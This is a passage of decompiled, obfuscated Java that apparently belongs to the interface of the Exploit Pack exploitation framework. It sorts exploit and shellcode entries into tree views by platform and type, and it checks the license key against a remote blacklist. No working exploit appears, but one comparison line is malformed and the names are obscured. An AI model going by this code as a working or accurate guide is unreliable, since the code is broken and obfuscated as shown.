              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 59);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("windows")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 60);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("windows_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 61);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("windows_x86-64")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 62);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("xml")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 63);
            if (((gi)this.a).R.equals("dos")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("local")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("remote")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            if (((gi)this.a).R.equals("webapps")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
              DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode4.add(defaultMutableTreeNode5);
            } 
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("arm")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 0);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("aix")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 1);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("bsd")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 2);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("bsd_ppc")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 3);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("bsd_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 4);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("bsdi_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 5);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("freebsd")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 6);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("freebsd_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 7);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("freebsd_x86-64")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 8);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("generator")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 9);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("ios")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 10);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("hardware")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 11);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("hp-ux")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 12);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("linux_x86-64")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 13);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("linux_mips")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 14);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("linux_ppc")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 15);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("linux_sparc")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 16);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("linux_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 17);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("openbsd_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 18);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("multiple")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 19);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("netbsd_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 20);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("osx_ppc")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 21);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("sco_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 22);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("solaris_mips")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 23);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("solaris_sparc")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 24);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("solaris_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 25);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("unixware")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 26);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("windows_x86")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 27);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("windows_x86-64")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 28);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("windows")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 29);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("solaris")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 30);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("linux")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 31);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("osx")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 32);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("superh_sh4")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 33);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("system_z")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 34);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("android")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 35);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("linux_crisv32")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 36);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("alpha")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 37);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("irix")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 38);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).R.equals("macos")) {
            DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel4.getChild(defaultTreeModel4.getRoot(), 39);
            if (((gi)this.a).o.equals("shellcode")) {
              DefaultMutableTreeNode defaultMutableTreeNode4 = new DefaultMutableTreeNode(((gi)this.a).Q);
              defaultMutableTreeNode.add(defaultMutableTreeNode4);
            } 
            defaultTreeModel4.reload(defaultMutableTreeNode);
          } 
          if (((gi)this.a).o.equals("custom")) {
            DefaultMutableTreeNode defaultMutableTreeNode;
            (defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 0)).add(new DefaultMutableTreeNode(((gi)this.a).Q));
            defaultTreeModel1.reload(defaultMutableTreeNode);
          } 
          this.a = b;
        } 
      } 
      this.a.expandRow(0);
      this.g.expandRow(0);
      this.h.expandRow(0);
      DefaultTreeModel defaultTreeModel5;
      DefaultMutableTreeNode defaultMutableTreeNode2;
      (defaultMutableTreeNode2 = (DefaultMutableTreeNode)((DefaultTreeModel)this.c.getModel()).getChild((defaultTreeModel5 = (DefaultTreeModel)this.c.getModel()).getRoot(), 0)).add(new DefaultMutableTreeNode("Total exploits: " + this.a));
      this.c.expandRow(0);
      defaultTreeModel5.reload(defaultMutableTreeNode2);
      if (SplashScreen.d && this.a > ') {
        String str = "";
        File file1;
        if ((file1 = new File("data/config/yourkey")).exists()) {
          BufferedReader bufferedReader = new BufferedReader(new FileReader(file1));
          String str8;
          while ((str8 = bufferedReader.readLine()) != null)
            str = str8; 
          AsymmetricCryptography asymmetricCryptography = new AsymmetricCryptography();
          PublicKey publicKey = AsymmetricCryptography.a("data/config/pub");
          String str10 = str;
          String str7 = asymmetricCryptography.a(str10, publicKey);
          Boolean bool = Boolean.FALSE;
          URL uRL = new URL("http://exploitpack.com/changelog/blacklist.txt");
          String str9 = (new BufferedReader(new InputStreamReader(uRL.openStream()))).readLine();
          Scanner scanner = new Scanner(str9);
          while (scanner.hasNextLine()) {
            String str11 = scanner.nextLine();
            if (str7.contains(str11)) {
              dispose();
              JOptionPane.showMessageDialog(null, "[!] Sorry, your license key has been banned, you can contact support@exploitpack.com for help.", "Exploit Pack says:", 0);
              System.exit(0);
              return;
            } 
            bool = Boolean.TRUE;
          } 
          scanner.close();
          if (bool.booleanValue()) {
            setTitle("Exploit Pack [ Registered ] - Current release: v14.04 - http://exploitpack.com [ PathMaker ]");
            this.C.setText("Registered");
            this.p.setText("Registered");
            this.C.setForeground(Color.BLUE);
            this.C.setIcon(new ImageIcon(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/Person.png"))));
          } else {
